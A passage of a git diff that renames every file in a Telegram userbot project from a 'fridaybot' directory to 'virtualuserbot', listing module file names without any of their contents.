virtualuserbot}/modules/jainder.py (100%) rename {fridaybot => virtualuserbot}/modules/jio.py (100%) rename {fridaybot => virtualuserbot}/modules/json.py (100%) rename {fridaybot => virtualuserbot}/modules/kill.py (100%) rename {fridaybot => virtualuserbot}/modules/kk.py (100%) rename {fridaybot => virtualuserbot}/modules/labstack.py (100%) rename {fridaybot => virtualuserbot}/modules/language.py (100%) rename {fridaybot => virtualuserbot}/modules/lastfm.py (100%) rename {fridaybot => virtualuserbot}/modules/lastupdate.py (100%) rename {fridaybot => virtualuserbot}/modules/letmeabuse.py (100%) rename {fridaybot => virtualuserbot}/modules/list.py (100%) rename {fridaybot => virtualuserbot}/modules/listmyusernames.py (100%) rename {fridaybot => virtualuserbot}/modules/load_unload.py (100%) rename {fridaybot => virtualuserbot}/modules/locks.py (100%) rename {fridaybot => virtualuserbot}/modules/log_pms.py (100%) rename {fridaybot => virtualuserbot}/modules/logic.py (100%) rename {fridaybot => virtualuserbot}/modules/lol.py (100%) rename {fridaybot => virtualuserbot}/modules/lovestory.py (100%) rename {fridaybot => virtualuserbot}/modules/lucky.py (100%) rename {fridaybot => virtualuserbot}/modules/lydiaai2.py (100%) rename {fridaybot => virtualuserbot}/modules/lyric.py (100%) rename {fridaybot => virtualuserbot}/modules/markdown.py (100%) rename {fridaybot => virtualuserbot}/modules/mashup.py (100%) rename {fridaybot => virtualuserbot}/modules/mask.py (100%) rename {fridaybot => virtualuserbot}/modules/meaning.py (100%) rename {fridaybot => virtualuserbot}/modules/mediadata.py (100%) rename {fridaybot => virtualuserbot}/modules/memes.py (100%) rename {fridaybot => virtualuserbot}/modules/memevoice.py (100%) rename {fridaybot => virtualuserbot}/modules/memify.py (100%) rename {fridaybot => virtualuserbot}/modules/mention (100%) rename {fridaybot => virtualuserbot}/modules/mention.py (100%) rename {fridaybot => virtualuserbot}/modules/mf.py (100%) rename {fridaybot => virtualuserbot}/modules/mirrorace.py (100%) rename {fridaybot => virtualuserbot}/modules/misc.py (100%) rename {fridaybot => virtualuserbot}/modules/mmf.py (100%) rename {fridaybot => virtualuserbot}/modules/moon.py (100%) rename {fridaybot => virtualuserbot}/modules/movie_recomendation.py (100%) rename {fridaybot => virtualuserbot}/modules/mp3converter.py (100%) rename {fridaybot => virtualuserbot}/modules/mspam.py (100%) rename {fridaybot => virtualuserbot}/modules/mtn.py (100%) rename {fridaybot => virtualuserbot}/modules/musicdl.py (100%) rename {fridaybot => virtualuserbot}/modules/mute.py (100%) rename {fridaybot => virtualuserbot}/modules/muth.py (100%) rename {fridaybot => virtualuserbot}/modules/nakal.py (100%) rename {fridaybot => virtualuserbot}/modules/nekobot.py (100%) rename {fridaybot => virtualuserbot}/modules/news.py (100%) rename {fridaybot => virtualuserbot}/modules/ninja.py (100%) rename {fridaybot => virtualuserbot}/modules/no_spam_plus_devs.py (100%) rename {fridaybot => virtualuserbot}/modules/np.py (100%) rename {fridaybot => virtualuserbot}/modules/nsfw.py (100%) rename {fridaybot => virtualuserbot}/modules/nsfwdetect.py (100%) rename {fridaybot => virtualuserbot}/modules/ocr.py (100%) rename {fridaybot => virtualuserbot}/modules/ok.py (100%) rename {fridaybot => virtualuserbot}/modules/oldgdrive.py (100%) rename {fridaybot => virtualuserbot}/modules/os.py (100%) rename {fridaybot => virtualuserbot}/modules/owm.py (100%) rename {fridaybot => virtualuserbot}/modules/padmin.py (100%) rename {fridaybot => virtualuserbot}/modules/password_manager.py (100%) rename {fridaybot => virtualuserbot}/modules/password_tools.py (100%) rename {fridaybot => virtualuserbot}/modules/paste.py (100%) rename {fridaybot => virtualuserbot}/modules/pdf2docx.py (100%) rename {fridaybot => virtualuserbot}/modules/phonecontrol.py (100%) rename {fridaybot => virtualuserbot}/modules/phub.py (100%) rename {fridaybot => virtualuserbot}/modules/pin_message.py (100%) rename {fridaybot => virtualuserbot}/modules/ping.py (100%) rename {fridaybot => virtualuserbot}/modules/plane.py (100%) rename {fridaybot => virtualuserbot}/modules/pmpermit.py (100%) rename {fridaybot => virtualuserbot}/modules/pokedex.py (100%) rename {fridaybot => virtualuserbot}/modules/police.py (100%) rename {fridaybot => virtualuserbot}/modules/polls.py (100%) rename {fridaybot => virtualuserbot}/modules/porn.py (100%) rename {fridaybot => virtualuserbot}/modules/poto.py (100%) rename {fridaybot => virtualuserbot}/modules/power_tools.py (100%) rename {fridaybot => virtualuserbot}/modules/prankpromote.py (100%) rename {fridaybot => virtualuserbot}/modules/privatewelcome.py (100%) rename {fridaybot => virtualuserbot}/modules/pro_nub.py (100%) rename {fridaybot => virtualuserbot}/modules/profile.py (100%) rename {fridaybot => virtualuserbot}/modules/programmer_jokes.py (100%) rename {fridaybot => virtualuserbot}/modules/proxyscrape.py (100%) rename {fridaybot => virtualuserbot}/modules/purge.py (100%) rename {fridaybot => virtualuserbot}/modules/pyocr.py (100%) rename {fridaybot => virtualuserbot}/modules/qr_code.py (100%) rename {fridaybot => virtualuserbot}/modules/quickheal.py (100%) rename {fridaybot => virtualuserbot}/modules/quote.py (100%) rename {fridaybot => virtualuserbot}/modules/quotes.py (100%) rename {fridaybot => virtualuserbot}/modules/quotly.py (100%) rename {fridaybot => virtualuserbot}/modules/rain.py (100%) rename {fridaybot => virtualuserbot}/modules/rapidleech.py (100%) rename {fridaybot => virtualuserbot}/modules/react.py (100%) rename {fridaybot => virtualuserbot}/modules/reminder.py (100%) rename {fridaybot => virtualuserbot}/modules/remove.bg.py (100%) rename {fridaybot => virtualuserbot}/modules/rename.py (100%) rename {fridaybot => virtualuserbot}/modules/repeat.py (100%) rename {fridaybot => virtualuserbot}/modules/reveal.py (100%) rename {fridaybot => virtualuserbot}/modules/reverse.py (100%) rename {fridaybot => virtualuserbot}/modules/reverseimg.py (100%) rename {fridaybot => virtualuserbot}/modules/sangmata.py (100%) rename {fridaybot => virtualuserbot}/modules/sca.py (100%) rename {fridaybot => virtualuserbot}/modules/schd.py (100%) rename {fridaybot => virtualuserbot}/modules/screencapture.py (100%) rename {fridaybot => virtualuserbot}/modules/screenlong.py (100%) rename {fridaybot => virtualuserbot}/modules/screenshot.py (100%) rename {fridaybot => virtualuserbot}/modules/sed.py (100%) rename {fridaybot => virtualuserbot}/modules/selfdestruct.py (100%) rename {fridaybot => virtualuserbot}/modules/send.py (100%) rename {fridaybot => virtualuserbot}/modules/seotools.py (100%) rename {fridaybot => virtualuserbot}/modules/shout.py (100%) rename {fridaybot => virtualuserbot}/modules/shouts.py (100%) rename {fridaybot => virtualuserbot}/modules/singer.py (100%) rename {fridaybot => virtualuserbot}/modules/sizeresize.py (100%) rename {fridaybot => virtualuserbot}/modules/slap.py (100%) rename {fridaybot => virtualuserbot}/modules/snake.py (100%) rename {fridaybot => virtualuserbot}/modules/snip.py (100%) rename {fridaybot => virtualuserbot}/modules/solarsystem.py (100%) rename {fridaybot => virtualuserbot}/modules/something.py (100%) rename {fridaybot => virtualuserbot}/modules/song.py (100%) rename {fridaybot => virtualuserbot}/modules/songs.py (100%) rename {fridaybot => virtualuserbot}/modules/sp_search.py (100%) rename {fridaybot => virtualuserbot}/modules/spacedp.py (100%) rename {fridaybot => virtualuserbot}/modules/spam.py (100%) rename {fridaybot => virtualuserbot}/modules/speedtest.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/PostAppender_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/__init__.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/blacklist_assistant.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/blacklist_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/botusers_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/broadcast_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/channel_sticker_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/echo_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/feds_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/filter_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/floodsql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/gban_sql_helper.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/globelmute_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/gmute_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/idadder_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/locks_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/lydia_ai_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/mute_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/notes_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/pmpermit_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/snips_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/warns_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/welcome_sql.py (100%) rename {fridaybot => virtualuserbot}/modules/sql_helper/welcomesql.py (100%) rename {fridaybot => virtualuserbot}/modules/ssvideo.py (100%) rename {fridaybot => virtualuserbot}/modules/stats.py (100%) rename {fridaybot => virtualuserbot}/modules/steganography.py (100%) rename {fridaybot => virtualuserbot}/modules/stickcreater.py (100%) rename {fridaybot => virtualuserbot}/modules/sticker_2.py (100%) rename {fridaybot => virtualuserbot}/modules/stickerchat.py (100%) rename {fridaybot => virtualuserbot}/modules/stickers.py (100%) rename {fridaybot => virtualuserbot}/modules/stickertoimage.py (100%) rename {fridaybot => virtualuserbot}/modules/sticklet.py (100%) rename {fridaybot => virtualuserbot}/modules/stock_price.py (100%) rename {fridaybot => virtualuserbot}/modules/stt.py (100%) rename {fridaybot => virtualuserbot}/modules/study.py (100%) rename {fridaybot => virtualuserbot}/modules/superheroes.py (100%) rename {fridaybot => virtualuserbot}/modules/superstar.py (100%) rename {fridaybot => virtualuserbot}/modules/supportgroup.py (100%) rename {fridaybot => virtualuserbot}/modules/tag.py (100%) rename {fridaybot => virtualuserbot}/modules/tagall.py (100%) rename {fridaybot => virtualuserbot}/modules/tb_button.py (100%) rename {fridaybot => virtualuserbot}/modules/telegraph.py (100%) rename {fridaybot => virtualuserbot}/modules/terminal.py (100%) rename {fridaybot => virtualuserbot}/modules/test.py (100%) rename {fridaybot => virtualuserbot}/modules/think.py (100%) rename {fridaybot => virtualuserbot}/modules/thumbnail.py (100%) rename {fridaybot => virtualuserbot}/modules/tiktok.py (100%) rename {fridaybot => virtualuserbot}/modules/time.py (100%) rename {fridaybot => virtualuserbot}/modules/timefunc.py (100%) rename {fridaybot => virtualuserbot}/modules/toonify.py (100%) rename {fridaybot => virtualuserbot}/modules/torrentsearch.py (100%) rename {fridaybot => virtualuserbot}/modules/torrentz.py (100%) rename {fridaybot => virtualuserbot}/modules/translate.py (100%) rename {fridaybot => virtualuserbot}/modules/trolls.py (100%) rename {fridaybot => virtualuserbot}/modules/tweet.py (100%) rename {fridaybot => virtualuserbot}/modules/typing.py (100%) rename {fridaybot => virtualuserbot}/modules/ukinti.py (100%) rename {fridaybot => virtualuserbot}/modules/ultragoogle.py (100%) rename {fridaybot => virtualuserbot}/modules/undlt.py (100%) rename {fridaybot => virtualuserbot}/modules/unzipfile.py (100%) rename {fridaybot => virtualuserbot}/modules/updater.py (100%) rename {fridaybot => virtualuserbot}/modules/upload_dl.py (100%) rename {fridaybot => virtualuserbot}/modules/uploadtoverysteam.py (100%) rename {fridaybot => virtualuserbot}/modules/urbandictionary.py (100%) rename {fridaybot => virtualuserbot}/modules/urlshortner.py (100%) rename {fridaybot => virtualuserbot}/modules/userinfo.py (100%) rename {fridaybot => virtualuserbot}/modules/userlist.py (100%) rename {fridaybot => virtualuserbot}/modules/utube.py (100%) rename {fridaybot => virtualuserbot}/modules/verysteam.py (100%) rename {fridaybot => virtualuserbot}/modules/virustotal.py (100%) rename {fridaybot => virtualuserbot}/modules/voice.py (100%) rename {fridaybot => virtualuserbot}/modules/vsong.py (100%) rename {fridaybot => virtualuserbot}/modules/waifu.py (100%) rename {fridaybot => virtualuserbot}/modules/wallpapers.py (100%) rename {fridaybot => virtualuserbot}/modules/warnbun.py (100%) rename {fridaybot => virtualuserbot}/modules/warns.py (100%) rename {fridaybot => virtualuserbot}/modules/weather.py (100%) rename {fridaybot => virtualuserbot}/modules/webshot.py (100%) rename {fridaybot => virtualuserbot}/modules/webtools.py (100%) rename {fridaybot => virtualuserbot}/modules/webupload.py (100%) rename {fridaybot => virtualuserbot}/modules/weebify.py (100%) rename {fridaybot => virtualuserbot}/modules/welcome.py (100%) rename {fridaybot => virtualuserbot}/modules/whois.py (100%) rename {fridaybot => virtualuserbot}/modules/wikimedia.py (100%) rename {fridaybot => virtualuserbot}/modules/wikipedia.py (100%) rename {fridaybot => virtualuserbot}/modules/wtf.py (100%) rename {fridaybot => virtualuserbot}/modules/xkcd.py (100%) rename {fridaybot => virtualuserbot}/modules/xnxx.py (100%) rename {fridaybot => virtualuserbot}/modules/xtools.py (100%) rename {fridaybot => virtualuserbot}/modules/ytdl.py (100%) rename {fridaybot => virtualuserbot}/modules/ytmusic.py (100%) rename {fridaybot => virtualuserbot}/tweet.py (100%) rename {fridaybot => virtualuserbot}/utils.py (100%) rename {fridaybot => virtualuserbot}/wraptools/__init__.py (100%) diff --git a/fridaybot/Configs.py b/virtualuserbot/Configs.py similarity index 100% rename from fridaybot/Configs.py rename to virtualuserbot/Configs.py diff --git a/fridaybot/__init__.py b/virtualuserbot/__init__.py similarity index 100% rename from fridaybot/__init__.py rename to virtualuserbot/__init__.py diff --git a/fridaybot/__main__.py b/virtualuserbot/__main__.py similarity index 100% rename from fridaybot/__main__.py rename to virtualuserbot/__main__.py diff --git a/fridaybot/events.py b/virtualuserbot/events.py similarity index 100% rename from fridaybot/events.py rename to virtualuserbot/events.py diff --git a/fridaybot/function/__init__.py b/virtualuserbot/function/__init__.py similarity index 100% rename from fridaybot/function/__init__.py rename to virtualuserbot/function/__init__.py diff --git a/fridaybot/function/apis.py b/virtualuserbot/function/apis.py similarity index 100% rename from fridaybot/function/apis.py rename to virtualuserbot/function/apis.py diff --git a/fridaybot/function/fridayfunction.py b/virtualuserbot/function/fridayfunction.py similarity index 100% rename from fridaybot/function/fridayfunction.py rename to virtualuserbot/function/fridayfunction.py diff --git a/fridaybot/function/heroku_helper.py b/virtualuserbot/function/heroku_helper.py similarity index 100% rename from fridaybot/function/heroku_helper.py rename to virtualuserbot/function/heroku_helper.py diff --git a/fridaybot/googol_images.py b/virtualuserbot/googol_images.py similarity index 100% rename from fridaybot/googol_images.py rename to virtualuserbot/googol_images.py diff --git a/fridaybot/modules/README.md b/virtualuserbot/modules/README.md similarity index 100% rename from fridaybot/modules/README.md rename to virtualuserbot/modules/README.md diff --git a/fridaybot/modules/WhatsNew.py b/virtualuserbot/modules/WhatsNew.py similarity index 100% rename from fridaybot/modules/WhatsNew.py rename to virtualuserbot/modules/WhatsNew.py diff --git a/fridaybot/modules/__init__.py b/virtualuserbot/modules/__init__.py similarity index 100% rename from fridaybot/modules/__init__.py rename to virtualuserbot/modules/__init__.py diff --git a/fridaybot/modules/_helper.py b/virtualuserbot/modules/_helper.py similarity index 100% rename from fridaybot/modules/_helper.py rename to virtualuserbot/modules/_helper.py diff --git a/fridaybot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py similarity index 100% rename from fridaybot/modules/_inlinebot.py rename to virtualuserbot/modules/_inlinebot.py diff --git a/fridaybot/modules/add.py b/virtualuserbot/modules/add.py similarity index 100% rename from fridaybot/modules/add.py rename to virtualuserbot/modules/add.py diff --git a/fridaybot/modules/addnote.py b/virtualuserbot/modules/addnote.py similarity index 100% rename from fridaybot/modules/addnote.py rename to virtualuserbot/modules/addnote.py diff --git a/fridaybot/modules/admin.py b/virtualuserbot/modules/admin.py similarity index 100% rename from fridaybot/modules/admin.py rename to virtualuserbot/modules/admin.py diff --git a/fridaybot/modules/adultzone.py b/virtualuserbot/modules/adultzone.py similarity index 100% rename from fridaybot/modules/adultzone.py rename to virtualuserbot/modules/adultzone.py diff --git a/fridaybot/modules/advance_help.py b/virtualuserbot/modules/advance_help.py similarity index 100% rename from fridaybot/modules/advance_help.py rename to virtualuserbot/modules/advance_help.py diff --git a/fridaybot/modules/afk.py b/virtualuserbot/modules/afk.py similarity index 100% rename from fridaybot/modules/afk.py rename to virtualuserbot/modules/afk.py diff --git a/fridaybot/modules/alive.py b/virtualuserbot/modules/alive.py similarity index 100% rename from fridaybot/modules/alive.py rename to virtualuserbot/modules/alive.py diff --git a/fridaybot/modules/allban.py b/virtualuserbot/modules/allban.py similarity index 100% rename from fridaybot/modules/allban.py rename to virtualuserbot/modules/allban.py diff --git a/fridaybot/modules/android.py b/virtualuserbot/modules/android.py similarity index 100% rename from fridaybot/modules/android.py rename to virtualuserbot/modules/android.py diff --git a/fridaybot/modules/anilist.py b/virtualuserbot/modules/anilist.py similarity index 100% rename from fridaybot/modules/anilist.py rename to virtualuserbot/modules/anilist.py diff --git a/fridaybot/modules/animation1.py b/virtualuserbot/modules/animation1.py similarity index 100% rename from fridaybot/modules/animation1.py rename to virtualuserbot/modules/animation1.py diff --git a/fridaybot/modules/animation2.py b/virtualuserbot/modules/animation2.py similarity index 100% rename from fridaybot/modules/animation2.py rename to virtualuserbot/modules/animation2.py diff --git a/fridaybot/modules/animation3.py b/virtualuserbot/modules/animation3.py similarity index 100% rename from fridaybot/modules/animation3.py rename to virtualuserbot/modules/animation3.py diff --git a/fridaybot/modules/animation4.py b/virtualuserbot/modules/animation4.py similarity index 100% rename from fridaybot/modules/animation4.py rename to virtualuserbot/modules/animation4.py diff --git a/fridaybot/modules/anime.py b/virtualuserbot/modules/anime.py similarity index 100% rename from fridaybot/modules/anime.py rename to virtualuserbot/modules/anime.py diff --git a/fridaybot/modules/antiflood.py b/virtualuserbot/modules/antiflood.py similarity index 100% rename from fridaybot/modules/antiflood.py rename to virtualuserbot/modules/antiflood.py diff --git a/fridaybot/modules/antispam.py b/virtualuserbot/modules/antispam.py similarity index 100% rename from fridaybot/modules/antispam.py rename to virtualuserbot/modules/antispam.py diff --git a/fridaybot/modules/antivirus.py b/virtualuserbot/modules/antivirus.py similarity index 100% rename from fridaybot/modules/antivirus.py rename to virtualuserbot/modules/antivirus.py diff --git a/fridaybot/modules/app.py b/virtualuserbot/modules/app.py similarity index 100% rename from fridaybot/modules/app.py rename to virtualuserbot/modules/app.py diff --git a/fridaybot/modules/archiver.py b/virtualuserbot/modules/archiver.py similarity index 100% rename from fridaybot/modules/archiver.py rename to virtualuserbot/modules/archiver.py diff --git a/fridaybot/modules/art.py b/virtualuserbot/modules/art.py similarity index 100% rename from fridaybot/modules/art.py rename to virtualuserbot/modules/art.py diff --git a/fridaybot/modules/assistant/README.md b/virtualuserbot/modules/assistant/README.md similarity index 100% rename from fridaybot/modules/assistant/README.md rename to virtualuserbot/modules/assistant/README.md diff --git a/fridaybot/modules/assistant/adminbot.py b/virtualuserbot/modules/assistant/adminbot.py similarity index 100% rename from fridaybot/modules/assistant/adminbot.py rename to virtualuserbot/modules/assistant/adminbot.py diff --git a/fridaybot/modules/assistant/bot_alive.py b/virtualuserbot/modules/assistant/bot_alive.py similarity index 100% rename from fridaybot/modules/assistant/bot_alive.py rename to virtualuserbot/modules/assistant/bot_alive.py diff --git a/fridaybot/modules/assistant/id_bot.py b/virtualuserbot/modules/assistant/id_bot.py similarity index 100% rename from fridaybot/modules/assistant/id_bot.py rename to virtualuserbot/modules/assistant/id_bot.py diff --git a/fridaybot/modules/assistant/main_assistant.py b/virtualuserbot/modules/assistant/main_assistant.py similarity index 100% rename from fridaybot/modules/assistant/main_assistant.py rename to virtualuserbot/modules/assistant/main_assistant.py diff --git a/fridaybot/modules/assistant/notes.py b/virtualuserbot/modules/assistant/notes.py similarity index 100% rename from fridaybot/modules/assistant/notes.py rename to virtualuserbot/modules/assistant/notes.py diff --git a/fridaybot/modules/assistant/ping.py b/virtualuserbot/modules/assistant/ping.py similarity index 100% rename from fridaybot/modules/assistant/ping.py rename to virtualuserbot/modules/assistant/ping.py diff --git a/fridaybot/modules/assistant/translater.py b/virtualuserbot/modules/assistant/translater.py similarity index 100% rename from fridaybot/modules/assistant/translater.py rename to virtualuserbot/modules/assistant/translater.py diff --git a/fridaybot/modules/autotools.py b/virtualuserbot/modules/autotools.py similarity index 100% rename from fridaybot/modules/autotools.py rename to virtualuserbot/modules/autotools.py diff --git a/fridaybot/modules/barcode.py b/virtualuserbot/modules/barcode.py similarity index 100% rename from fridaybot/modules/barcode.py rename to virtualuserbot/modules/barcode.py diff --git a/fridaybot/modules/bash.py b/virtualuserbot/modules/bash.py similarity index 100% rename from fridaybot/modules/bash.py rename to virtualuserbot/modules/bash.py diff --git a/fridaybot/modules/bassboost.py b/virtualuserbot/modules/bassboost.py similarity index 100% rename from fridaybot/modules/bassboost.py rename to virtualuserbot/modules/bassboost.py diff --git a/fridaybot/modules/bible.py b/virtualuserbot/modules/bible.py similarity index 100% rename from fridaybot/modules/bible.py rename to virtualuserbot/modules/bible.py diff --git a/fridaybot/modules/bigoof.py b/virtualuserbot/modules/bigoof.py similarity index 100% rename from fridaybot/modules/bigoof.py rename to virtualuserbot/modules/bigoof.py diff --git a/fridaybot/modules/bin.py b/virtualuserbot/modules/bin.py similarity index 100% rename from fridaybot/modules/bin.py rename to virtualuserbot/modules/bin.py diff --git a/fridaybot/modules/blacklist.py b/virtualuserbot/modules/blacklist.py similarity index 100% rename from fridaybot/modules/blacklist.py rename to virtualuserbot/modules/blacklist.py diff --git a/fridaybot/modules/books.py b/virtualuserbot/modules/books.py similarity index 100% rename from fridaybot/modules/books.py rename to virtualuserbot/modules/books.py diff --git a/fridaybot/modules/bot_tag.py b/virtualuserbot/modules/bot_tag.py similarity index 100% rename from fridaybot/modules/bot_tag.py rename to virtualuserbot/modules/bot_tag.py diff --git a/fridaybot/modules/broadcast.py b/virtualuserbot/modules/broadcast.py similarity index 100% rename from fridaybot/modules/broadcast.py rename to virtualuserbot/modules/broadcast.py diff --git a/fridaybot/modules/bye.py b/virtualuserbot/modules/bye.py similarity index 100% rename from fridaybot/modules/bye.py rename to virtualuserbot/modules/bye.py diff --git a/fridaybot/modules/calc.py b/virtualuserbot/modules/calc.py similarity index 100% rename from fridaybot/modules/calc.py rename to virtualuserbot/modules/calc.py diff --git a/fridaybot/modules/calladmin.py b/virtualuserbot/modules/calladmin.py similarity index 100% rename from fridaybot/modules/calladmin.py rename to virtualuserbot/modules/calladmin.py diff --git a/fridaybot/modules/carbon.py b/virtualuserbot/modules/carbon.py similarity index 100% rename from fridaybot/modules/carbon.py rename to virtualuserbot/modules/carbon.py diff --git a/fridaybot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py similarity index 100% rename from fridaybot/modules/carbonRGB.py rename to virtualuserbot/modules/carbonRGB.py diff --git a/fridaybot/modules/card.py b/virtualuserbot/modules/card.py similarity index 100% rename from fridaybot/modules/card.py rename to virtualuserbot/modules/card.py diff --git a/fridaybot/modules/cbutton.py b/virtualuserbot/modules/cbutton.py similarity index 100% rename from fridaybot/modules/cbutton.py rename to virtualuserbot/modules/cbutton.py diff --git a/fridaybot/modules/chain.py b/virtualuserbot/modules/chain.py similarity index 100% rename from fridaybot/modules/chain.py rename to virtualuserbot/modules/chain.py diff --git a/fridaybot/modules/channel_download.py b/virtualuserbot/modules/channel_download.py similarity index 100% rename from fridaybot/modules/channel_download.py rename to virtualuserbot/modules/channel_download.py diff --git a/fridaybot/modules/channel_sticker.py b/virtualuserbot/modules/channel_sticker.py similarity index 100% rename from fridaybot/modules/channel_sticker.py rename to virtualuserbot/modules/channel_sticker.py diff --git a/fridaybot/modules/channel_zipper.py b/virtualuserbot/modules/channel_zipper.py similarity index 100% rename from fridaybot/modules/channel_zipper.py rename to virtualuserbot/modules/channel_zipper.py diff --git a/fridaybot/modules/checker.py b/virtualuserbot/modules/checker.py similarity index 100% rename from fridaybot/modules/checker.py rename to virtualuserbot/modules/checker.py diff --git a/fridaybot/modules/checkrestrictions.py b/virtualuserbot/modules/checkrestrictions.py similarity index 100% rename from fridaybot/modules/checkrestrictions.py rename to virtualuserbot/modules/checkrestrictions.py diff --git a/fridaybot/modules/chotatweak.py b/virtualuserbot/modules/chotatweak.py similarity index 100% rename from fridaybot/modules/chotatweak.py rename to virtualuserbot/modules/chotatweak.py diff --git a/fridaybot/modules/classictranslate.py b/virtualuserbot/modules/classictranslate.py similarity index 100% rename from fridaybot/modules/classictranslate.py rename to virtualuserbot/modules/classictranslate.py diff --git a/fridaybot/modules/clone.py b/virtualuserbot/modules/clone.py similarity index 100% rename from fridaybot/modules/clone.py rename to virtualuserbot/modules/clone.py diff --git a/fridaybot/modules/cmd_list.py b/virtualuserbot/modules/cmd_list.py similarity index 100% rename from fridaybot/modules/cmd_list.py rename to virtualuserbot/modules/cmd_list.py diff --git a/fridaybot/modules/coinflip.py b/virtualuserbot/modules/coinflip.py similarity index 100% rename from fridaybot/modules/coinflip.py rename to virtualuserbot/modules/coinflip.py diff --git a/fridaybot/modules/colors.py b/virtualuserbot/modules/colors.py similarity index 100% rename from fridaybot/modules/colors.py rename to virtualuserbot/modules/colors.py diff --git a/fridaybot/modules/compress.py b/virtualuserbot/modules/compress.py similarity index 100% rename from fridaybot/modules/compress.py rename to virtualuserbot/modules/compress.py diff --git a/fridaybot/modules/congratulations.py b/virtualuserbot/modules/congratulations.py similarity index 100% rename from fridaybot/modules/congratulations.py rename to virtualuserbot/modules/congratulations.py diff --git a/fridaybot/modules/copy.py b/virtualuserbot/modules/copy.py similarity index 100% rename from fridaybot/modules/copy.py rename to virtualuserbot/modules/copy.py diff --git a/fridaybot/modules/count.py b/virtualuserbot/modules/count.py similarity index 100% rename from fridaybot/modules/count.py rename to virtualuserbot/modules/count.py diff --git a/fridaybot/modules/countdown.py b/virtualuserbot/modules/countdown.py similarity index 100% rename from fridaybot/modules/countdown.py rename to virtualuserbot/modules/countdown.py diff --git a/fridaybot/modules/countries.py b/virtualuserbot/modules/countries.py similarity index 100% rename from fridaybot/modules/countries.py rename to virtualuserbot/modules/countries.py diff --git a/fridaybot/modules/covid.py b/virtualuserbot/modules/covid.py similarity index 100% rename from fridaybot/modules/covid.py rename to virtualuserbot/modules/covid.py diff --git a/fridaybot/modules/cow.py b/virtualuserbot/modules/cow.py similarity index 100% rename from fridaybot/modules/cow.py rename to virtualuserbot/modules/cow.py diff --git a/fridaybot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py similarity index 100% rename from fridaybot/modules/crack_tools.py rename to virtualuserbot/modules/crack_tools.py diff --git a/fridaybot/modules/create.py b/virtualuserbot/modules/create.py similarity index 100% rename from fridaybot/modules/create.py rename to virtualuserbot/modules/create.py diff --git a/fridaybot/modules/cricket_score.py b/virtualuserbot/modules/cricket_score.py similarity index 100% rename from fridaybot/modules/cricket_score.py rename to virtualuserbot/modules/cricket_score.py diff --git a/fridaybot/modules/cry.py b/virtualuserbot/modules/cry.py similarity index 100% rename from fridaybot/modules/cry.py rename to virtualuserbot/modules/cry.py diff --git a/fridaybot/modules/crypto.py b/virtualuserbot/modules/crypto.py similarity index 100% rename from fridaybot/modules/crypto.py rename to virtualuserbot/modules/crypto.py diff --git a/fridaybot/modules/currency.py b/virtualuserbot/modules/currency.py similarity index 100% rename from fridaybot/modules/currency.py rename to virtualuserbot/modules/currency.py diff --git a/fridaybot/modules/customs.py b/virtualuserbot/modules/customs.py similarity index 100% rename from fridaybot/modules/customs.py rename to virtualuserbot/modules/customs.py diff --git a/fridaybot/modules/dagd.py b/virtualuserbot/modules/dagd.py similarity index 100% rename from fridaybot/modules/dagd.py rename to virtualuserbot/modules/dagd.py diff --git a/fridaybot/modules/decide.py b/virtualuserbot/modules/decide.py similarity index 100% rename from fridaybot/modules/decide.py rename to virtualuserbot/modules/decide.py diff --git a/fridaybot/modules/deepfryer.py b/virtualuserbot/modules/deepfryer.py similarity index 100% rename from fridaybot/modules/deepfryer.py rename to virtualuserbot/modules/deepfryer.py diff --git a/fridaybot/modules/delfp.py b/virtualuserbot/modules/delfp.py similarity index 100% rename from fridaybot/modules/delfp.py rename to virtualuserbot/modules/delfp.py diff --git a/fridaybot/modules/design.py b/virtualuserbot/modules/design.py similarity index 100% rename from fridaybot/modules/design.py rename to virtualuserbot/modules/design.py diff --git a/fridaybot/modules/diceandart.py b/virtualuserbot/modules/diceandart.py similarity index 100% rename from fridaybot/modules/diceandart.py rename to virtualuserbot/modules/diceandart.py diff --git a/fridaybot/modules/dictionary.py b/virtualuserbot/modules/dictionary.py similarity index 100% rename from fridaybot/modules/dictionary.py rename to virtualuserbot/modules/dictionary.py diff --git a/fridaybot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py similarity index 100% rename from fridaybot/modules/direct_links.py rename to virtualuserbot/modules/direct_links.py diff --git a/fridaybot/modules/dm.py b/virtualuserbot/modules/dm.py similarity index 100% rename from fridaybot/modules/dm.py rename to virtualuserbot/modules/dm.py diff --git a/fridaybot/modules/dns.py b/virtualuserbot/modules/dns.py similarity index 100% rename from fridaybot/modules/dns.py rename to virtualuserbot/modules/dns.py diff --git a/fridaybot/modules/download3.py b/virtualuserbot/modules/download3.py similarity index 100% rename from fridaybot/modules/download3.py rename to virtualuserbot/modules/download3.py diff --git a/fridaybot/modules/duckduckgo.py b/virtualuserbot/modules/duckduckgo.py similarity index 100% rename from fridaybot/modules/duckduckgo.py rename to virtualuserbot/modules/duckduckgo.py diff --git a/fridaybot/modules/dumpster.py b/virtualuserbot/modules/dumpster.py similarity index 100% rename 